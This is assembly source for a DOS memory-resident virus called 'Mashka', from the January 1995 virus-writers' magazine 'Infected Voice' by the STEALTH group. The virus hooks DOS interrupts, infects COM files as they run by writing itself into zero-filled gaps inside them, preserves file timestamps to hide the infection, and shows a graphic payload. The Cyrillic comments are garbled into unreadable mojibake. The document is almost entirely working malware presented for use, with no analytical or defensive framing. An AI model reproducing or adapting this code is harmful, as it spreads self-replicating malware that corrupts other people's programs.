2022-08-21 09:07:57 +00:00
;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
;<3B> STEALTH group ۰ <20> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <20> <20> <> <EFBFBD> <20> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <20> <> <20> <>
;<3B> presents ۰ <20> <20> <20> <20> <> <20> <> <20> <20> <20> <> <20> <20> <20> <20> <20> <20> <20> <20> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <>
;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۰ <20> <20> <20> <20> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <20> <> <EFBFBD> <20> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> JAN 1995
;
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
; ===========================================================================
TITLE Virus Mashka ; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 饥 <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> !
seg_a seg ment para 'code'
assume cs : seg _a , ds : seg _a
org 100h
start:
call $ + 3 ;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> call
pop bx
push es
sub bx , 3 ;<3B> <> 砫<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
push bx
mov ax , 0e200h ;<3B> ࠤ<EFBFBD> 樮<EFBFBD> <E6A8AE> <EFBFBD> <EFBFBD> <20> <EFBFBD> ઠ <20> <> <20> <> <EFBFBD> <EFBFBD> 稥 <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
int 21h
cmp al , 22h
jnz res ;<3B> <20> <> <EFBFBD> <20> <> <EFBFBD> , <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> 㤥<EFBFBD>
jmp short nores ;<3B> <> 㦥 <20> <> <EFBFBD> <EFBFBD>
res:
mov ax , ds
dec ax
mov ds , ax ;ᥣ<> <E1A5A3> <EFBFBD> <EFBFBD> MSB
mov ax , word ptr ds :[ 3 ]
sub ax ,( offset virend - offset start ) / 10h + 1 + 20h ;㬥<> <E3ACA5> 蠥<EFBFBD> ࠧ<> <E0A0A7> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD>
mov word ptr ds :[ 3 ], ax
mov ax , ds
inc ax
mov ds , ax
mov ax , word ptr ds :[ 2 ] ;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <> <E1A2AE> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
sub ax ,( offset virend - offset start ) / 10h + 1 + 20h ;<3B> ⭨<EFBFBD> <E2ADA8> <EFBFBD> <EFBFBD> ࠧ<> <E0A0A7> <EFBFBD> vir'<27>
mov es , ax
mov word ptr ds :[ 2 ], ax
mov cx , offset virend - offset start
mov si , bx
xor di , di
push cs
pop ds
rep movsb ; <20> <> ४<EFBFBD> 稢<EFBFBD> <E7A8A2> <EFBFBD> ⥫<> <20> <20> 뤥<EFBFBD> <EBA4A5> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> es:di
push es
pop ds
mov ax , 3521h ; <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> , <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> , <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> , <20> <> <EFBFBD> <20> ந<EFBFBD> 室<EFBFBD> <E5AEA4>
int 21h
mov word ptr ds :[ offset int21e - offset start ], bx
mov word ptr ds :[ offset int21e + 2 - offset start ], es
mov ax , 2521h
mov dx , offset int21entry - offset start
int 21h ; <20> <> <EFBFBD> <EFBFBD> 墠<EFBFBD> 뢠<EFBFBD> <EBA2A0> int 21h
mov ax , 3510h
int 21h
mov word ptr ds :[ offset int10e - offset start ], bx
mov word ptr ds :[ offset int10e + 2 - offset start ], es
mov ax , 2510h
mov dx , offset int10entry - offset start
int 21h ; <20> <> <EFBFBD> <EFBFBD> 墠<EFBFBD> 뢠<EFBFBD> <EBA2A0> int 10h
; <20> <> <EFBFBD> <20> <> <EFBFBD> ⮫<EFBFBD> <E2AEAB> <EFBFBD>
nores:
; <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> 㦥 <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> , <20> <> <20> <> ⠥<EFBFBD> <E2A0A5> <EFBFBD> ⮫쪮 ࠤ<> <E0A0A4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
pop bx
; ᥩ<> <E1A5A9> <EFBFBD> <20> 㤥<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ਣ<EFBFBD> <E0A8A3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> ணࠬ<E0AEA3> <E0A0AC> ,
; <20> <> १<EFBFBD> <E0A5A7> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> 砫<EFBFBD> <20> ணࠬ<E0AEA3> <E0A0AC>
mov ax , word ptr cs :[ bx + offset real - offset start ]
mov bx , word ptr cs :[ bx + offset real - offset start + 2 ]
push cs
pop ds
mov word ptr cs :[ 100h ], ax ;ᮮ⢥<E1AEAE> <E2A2A5> ⢥<EFBFBD> <E2A2A5> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 頥<EFBFBD> <20> <> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD>
mov word ptr cs :[ 102h ], bx
mov ax , 100h ;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> 砫<EFBFBD> <20> ணࠬ<E0AEA3> <E0A0AC>
pop es
push ax
ret
real dw 4cb4h ; <20> <> <EFBFBD> <20> <> <EFBFBD> த<> <E0AEA4> <EFBFBD> <EFBFBD> , <20> ਣ<EFBFBD> <E0A8A3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> !
dw 21cdh
INT21entry:
cmp ax , 0e200h ; <20> <EFBFBD> <E0AEA2> 塞 ᮡ<> ⢥<EFBFBD> <E2A2A5> <EFBFBD> <EFBFBD> <20> 㭪<EFBFBD> <E3ADAA> <EFBFBD> ,
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> 믮<EFBFBD> <EBAFAE> <EFBFBD> <EFBFBD> <EFBFBD> <20> ⮡<EFBFBD> <20> <EFBFBD> <E0AEA2> <EFBFBD> <EFBFBD> <EFBFBD>
; <> <20> <> <EFBFBD> <EFBFBD> 稥 <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
jnz d01
mov al , 22h
iret
d01:
cmp ax , 0e233h ; ᥪ<> <E1A5AA> ⭠<EFBFBD> <20> 㭪<EFBFBD> <E3ADAA> <EFBFBD> , <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ਣ<EFBFBD> <E0A8A3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> 뢠<EFBFBD> <EBA2A0> <EFBFBD> <20> ࠧ<> <E0A0A7> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> -
; <20> <> <EFBFBD> <20> <EFBFBD> <20> <> <EFBFBD> ᨨ
jnz d1
mov al , 22h
mov bx , cs
; <20> <> <EFBFBD> <20> <> <EFBFBD> , <20> <> <EFBFBD> offset'<27>
mov cx , offset real - offset start
mov dx , offset int21e - offset start
mov si , offset int10e - offset start
iret
d1:
cmp ah , 4bh ; <20> <> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> , <20> 㭪<EFBFBD> <E3ADAA> <EFBFBD> 4b - <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> 稭<EFBFBD> <20> <> ࠦ<EFBFBD> <E0A0A6> <EFBFBD> <EFBFBD>
jz in4b
jmp exitint21 ; <20> <20> <> 4b , <20> <> <20> <> <20> <> <EFBFBD> ࠢ<> <E0A0A2> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <20> <20> <> <EFBFBD> 筮 <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> , <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> INT 21h
in4b:
push ax ; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> ! <20> <> <EFBFBD> <EFBFBD> ⮢<EFBFBD> <E2AEA2> <20> <> ப<EFBFBD> 'PSQR'
push bx
push cx
push dx
push es
push ds
push si
push di
push dx
push ds
push cs
pop ds
mov ax , 2524h
mov dx , offset int24entry - offset start
int 21h ;<3B> <> <EFBFBD> <EFBFBD> 墠<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> 訡<EFBFBD> <E8A8A1>
;<3B> ந<EFBFBD> 室<EFBFBD> <E5AEA4> ⮫쪮 <20> <> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> ᪥,
;<3B> <> <EFBFBD> <EFBFBD> 䠩<> <E4A0A9> <20> <> <20> <> <EFBFBD> <EFBFBD> ⠫<EFBFBD> <E2A0AB> <EFBFBD> <20> <>
;<3B> ਭ<EFBFBD> <E0A8AD> <EFBFBD> , <20> <> <EFBFBD> <EFBFBD> ண<EFBFBD> <20> <> <EFBFBD> <EFBFBD> !
pop ds
pop dx
call cmpnol ;<3B> 饬 <20> <> <EFBFBD> <EFBFBD> <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
call cmpcom ;<3B> <20> <> COM <20> <> <20> <> <EFBFBD> <20> <> <EFBFBD> 砩<EFBFBD> <E7A0A9> ?
jnc pr1 ; <20> <> <EFBFBD> ! <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> -⠪<> COM !
jmp exit ; <20> <> <20> <> <20> 㤥<EFBFBD> <20> <> ࠦ<EFBFBD> <E0A0A6> <EFBFBD> , <20> <> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ...
pr1:
;<3B> <> <EFBFBD> ࠭塞 <20> <20> <> ६<EFBFBD> <E0A5AC> <EFBFBD> <EFBFBD> <EFBFBD> ᥣ<> <E1A5A3> <EFBFBD> <EFBFBD> <20> ᬥ饭<E1ACA5> <E9A5AD> <20> <> <EFBFBD> <EFBFBD> ᪠<EFBFBD> <E1AAA0> <EFBFBD> <EFBFBD> <EFBFBD> 䠩<> <E4A0A9>
mov word ptr cs :[ offset adname - offset start ], dx
mov word ptr cs :[ offset adname - offset start + 2 ], ds
call catt ;<3B> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ਡ<EFBFBD> <E0A8A1> <EFBFBD>
mov ax , 3d02h ;<3B> <> <EFBFBD> <EFBFBD> 뢠<EFBFBD> <EBA2A0> 䠩<>
int 21h
mov bx , ax
call gettime ;<3B> <> <EFBFBD> <EFBFBD> 砥<EFBFBD> <20> <20> <> <EFBFBD> ࠭塞 <20> ६<EFBFBD>
; <20> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> 祪 <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> 筮 <20> <> <EFBFBD> ,
; <20> <> <20> <> <EFBFBD> <20> 뫮 <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <20> <> <EFBFBD> ࠢ<EFBFBD> <E0A0A2>
mov ax , 4202h
xor cx , cx
xor dx , dx
int 21h
push ds
push cs
pop ds ; ᥣ<> <E1A5A3> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ⠭<EFBFBD> <E2A0AD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
mov ax , 4200h ; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> 筮 <20> 뫮 <20> <> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> ⠭<EFBFBD> ,<2C> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ,
; CX:DX <20> <> <EFBFBD> ࠢ<> <E0A0A2> <20> 㫨
int 21h
mov ah , 3fh
mov dx , offset virend - offset start
mov cx , 4h
int 21h ; <20> <> ⠥<EFBFBD> <20> <> 砫<EFBFBD> 䠩<> <E4A0A9> <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> ᮬ
; <20> <20> <> ࠦ<EFBFBD> <E0A0A6> <EFBFBD> , <20> <> <20> <> ⢥<EFBFBD> <E2A2A5> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> 'Q'
cmp byte ptr ds :[ offset virend - offset start + 3 ], 'Q'
jnz ok2
pop ds
jmp cl oseexit ; <20> <> 室 <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ⨥<EFBFBD> 䠩<> <E4A0A9> <20> <20> <> <EFBFBD> <EFBFBD> ⠭<EFBFBD> <E2A0AD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ⠫쭮<E2A0AB> <ECADAE>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD>
ok2:
xor si , si
mov dx , 0 - 200h
p2:
;<> <E1ABA5> <EFBFBD> 騩 <20> ࠣ<EFBFBD> <E0A0A3> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> 뢠<EFBFBD> <EBA2A0> <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <E1ABA5> <EFBFBD> <EFBFBD> ⥫쭮 <20> <> <EFBFBD> <EFBFBD> 䠩<>
;<3B> <> 200h <20> ᪠<> <E1AAA0> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> ।<EFBFBD> <E0A5A4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ⢮ <20> 㫥<EFBFBD> (<28> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 777),
mov ax , 4200h
add dx , 200h
xor cx , cx
int 21h
push ax
mov ah , 3fh
mov dx , offset virend - offset start
mov cx , 200h
int 21h
cmp ax , 0
jnz d3
pop dx ; 䠩<> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> 稫<EFBFBD> <E7A8AB>
jmp d2
d3:
cmp ax , 200h
jz ok4
add ax , offset virend - offset start
mov di , ax
mov word ptr ds :[ di ], 0ffh ; <20> <20> <> <EFBFBD> <20> <> <EFBFBD> -<2D> <> <20> த<EFBFBD> <20> <> <EFBFBD> 殢<EFBFBD> 窨
ok4:
call scanspace ; ᪠<> <E1AAA0> <EFBFBD> 㥬 <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ⠭<EFBFBD> <E2A0AD> <EFBFBD> 200h
pop dx
cmp si , offset virend - offset start
jc p2 ; <20> <20> <> <EFBFBD> -<2D> <> <20> 㫥<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 祬 ࠧ<> <E0A0A7> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <20> த<EFBFBD> <E0AEA4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ᪠<> <E1AAA0> <EFBFBD> <E0AEA2> <EFBFBD> <EFBFBD>
sub di ,( offset virend - offset start )
add dx , di
sub dx , si
push dx ; <20> DX ᬥ饭<E1ACA5> <E9A5AD> <20> 䠩<> <E4A0A9> ,<2C> <> <EFBFBD> <EFBFBD> 㪠<> 뢠<EFBFBD> <EBA2A0> <20> <>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <20> <> <EFBFBD> ﬨ
mov ax , 4200h
xor cx , cx
xor dx , dx
int 21h
mov ah , 3fh
mov cx , 4h
mov dx , offset real - offset start
int 21h ; <20> <> ⠥<EFBFBD> ॠ<> <E0A5A0> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ⨪<EFBFBD> <20> ண<EFBFBD> .
mov ax , 4200h
xor cx , cx
xor dx , dx
int 21h
mov si , offset virend - offset start
mov byte ptr ds :[ si ], 0e9h
pop dx
push dx
sub dx , 3
mov word ptr ds :[ si + 1 ], dx ; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ⠢<EFBFBD> <E2A0A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> 砫<EFBFBD> <E7A0AB> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD>
mov byte ptr ds :[ si + 3 ], 'Q' ; <20> <20> <> <EFBFBD> <20> <> ⪠ <20> <> ࠦ<EFBFBD> <E0A0A6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
mov ah , 40h
mov cx , 4h
mov dx , offset virend - offset start
int 21h ; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> 뢠<EFBFBD> <EBA2A0> <20> <>
pop dx ; <20> DX <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <20> <> <EFBFBD> ﬨ
xor cx , cx
mov ax , 4200h
int 21h
mov ah , 40h
mov cx , offset virend - offset start
xor dx , dx
int 21h ; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> 뢠<EFBFBD> <EBA2A0> <20> 㤠 ⥫<> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
d2:
pop ds
closeexit:
call puttime ; <20> <> <EFBFBD> <EFBFBD> ⠭<EFBFBD> <E2A0AD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ६<EFBFBD>
mov ah , 3eh
int 21h ; <20> <> <EFBFBD> ! ࠡ<> 稩 <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> 稫<EFBFBD> <E7A8AB> !
exit:
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah
int21e dw ?
dw ?
adname dw ?
dw ?
int24entry:
mov ax , 0h ; <20> <20> <> <EFBFBD> ABORT ! <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> , <20> <> <EFBFBD> <20> <> <20> <> <20> <20> ⠫<EFBFBD> <E2A0AB> !
iret
time dw ?
dw ?
;------------------------------------- <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
cmpnol:
mov bx , dx
nol:
inc bx
cmp byte ptr ds :[ bx ], 0h
jnz nol
ret
;------------------------------------- <20> <EFBFBD> ઠ <20> <> COM
cmpcom:
cmp word ptr ds :[ bx - 2 ], 'MO'
clc
jz exitcmpexe
stc
exitcmpexe:
ret
;--------------------------------------- <20> <> <EFBFBD> <EFBFBD> 祭<EFBFBD> <E7A5AD> <20> <20> <> ⠭<EFBFBD> <E2A0AD> <EFBFBD> <EFBFBD> <20> <> ଠ <EFBFBD> <E0ACA0> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> ਡ<EFBFBD> ⮢
catt:
push ds
push dx
mov ax , 4300h
LDS dx , dword ptr cs :[ offset adname - offset start ]
int 21h
and cl , 11111110b
mov ax , 4301h
int 21h
pop dx
pop ds
ret
;--------------------------------------- <20> <> <EFBFBD> <EFBFBD> 祭<EFBFBD> <E7A5AD> <20> <20> <> <EFBFBD> ࠭<EFBFBD> <E0A0AD> <EFBFBD> <EFBFBD> <20> ६<EFBFBD> <E0A5AC> <EFBFBD>
gettime:
mov ax , 5700h
int 21h
and cl , 11100000b
mov word ptr cs :[ offset time - offset start ], cx
mov word ptr cs :[ offset time - offset start + 2 ], dx
ret
;----------------------------------------- <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 饭<EFBFBD> <E9A5AD> <20> <> <EFBFBD> ண<EFBFBD> <20> ६<EFBFBD> <E0A5AC> <EFBFBD> ;)
puttime:
mov ax , 5701h
mov cx , word ptr cs :[ offset time - offset start ]
mov dx , word ptr cs :[ offset time - offset start + 2 ]
int 21h
ret
;------------------------------------------ ᪠<> <E1AAA0> <EFBFBD> <E0AEA2> <EFBFBD> <EFBFBD> <20> <> <20> 㫨
scanspace:
mov di , offset virend - offset start - 1
opsc:
inc di
cmp di ,( offset virend - offset start ) + 200h
jnc exsc
mov al , ds :[ di ]
cmp al , 0
jnz cl scan
inc si
jmp opsc
exsc:
ret
clscan:
cmp si , offset virend - offset start
jc ok3
ret
ok3:
xor si , si
jmp opsc
int10entry:
cmp ax , 0005h ; <20> <EFBFBD> ઠ <20> <> <20> <> ⠭<EFBFBD> <E2A0AD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> CGA 320x200
jz svert ; <20> ⠪<> <E2A0AA> <EFBFBD> <EFBFBD> , <20> <> <20> <> <EFBFBD> 㥬 <20> <EFBFBD> <E0AEAB> <EFBFBD> <EFBFBD> 騩 <20> <> <EFBFBD> ⮫<EFBFBD> <E2AEAB>
exitint10:
db 0eah
int10e dw ?
dw ?
svert:
cmp si , 22h
jz exitint10 ; <20> <> 室<EFBFBD> <E5AEA4> ᮡ<> ⢥<EFBFBD> <E2A2A5> <EFBFBD> <EFBFBD> <20> 맮<EFBFBD> <EBA7AE>
; <20> <> <20> <20> <> <EFBFBD> - <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> !
vert:
push ds
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push cs
pop ds
mov ax , 0b800h
mov es , ax
mov si , 22h
mov ax , 5
int 10h
mov cx , 70
mov dx , 30
bb:
push cx
mov cx , 6000h
zlp:
loop zlp
pop cx
call bert
loop bb
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop ds
jmp exitint10
;------------------------
bert:
push dx
push cx
push ax
push si
push di
mov ax , dx
mov bx , 80
mul bx
add ax , cx
mov di , ax
mov bp , 0
mov si , offset berts - offset start
opbert:
mov cx , 6
push di
rep movsb
pop di
add di , 2000h
inc bp
cmp bp , 12
je exbert
mov cx , 6
push di
rep movsb
pop di
sub di , 2000h - 80
inc bp
cmp bp , 12
je exbert
jmp opbert
exbert:
pop di
pop si
pop ax
pop cx
pop dx
ret
;================================
berts db 0 , 0 , 0 , 0 , 0 , 0 ; <20> <> <EFBFBD> ⮫<EFBFBD> <E2AEAB> , <20> <> <EFBFBD> <20> <> -<2D> <> ࠨ<EFBFBD> ᪨ - 奫<> <E5A5AB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
db 0 , 0 , 0 , 0 , 0 , 0
db 0 , 0 , 55h , 40h , 0 , 0
db 0 , 0 , 4 , 0 , 0 , 0
db 0 , 1 , 44h , 0 , 0 , 0
db 0 , 15h , 55h , 0 , 4 , 0
db 0 , 50h , 57h , 55h , 55h , 0
db 0 , 15h , 75h , 55h , 4 , 0
db 0 , 5 , 55h , 0 , 0 , 0
db 0 , 0 , 10h , 0 , 0 , 0
db 0 , 0 , 0 , 0 , 0 , 0
db 0 , 0 , 0 , 0 , 0 , 0
;=================================
db '<27> <> <EFBFBD> <EFBFBD> <E0B39F> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ྇ཎ<E0BE87> <E0BD8E> <EFBFBD> <EFBFBD> <EFBFBD> ' ; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <E0AEA2> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <E1ABA0> <EFBFBD> <20> <> ⮬<EFBFBD> <E2AEAC> <EFBFBD>
; <> <EEA7A0> <EFBFBD> NEG.
virend:
seg_a ends
end start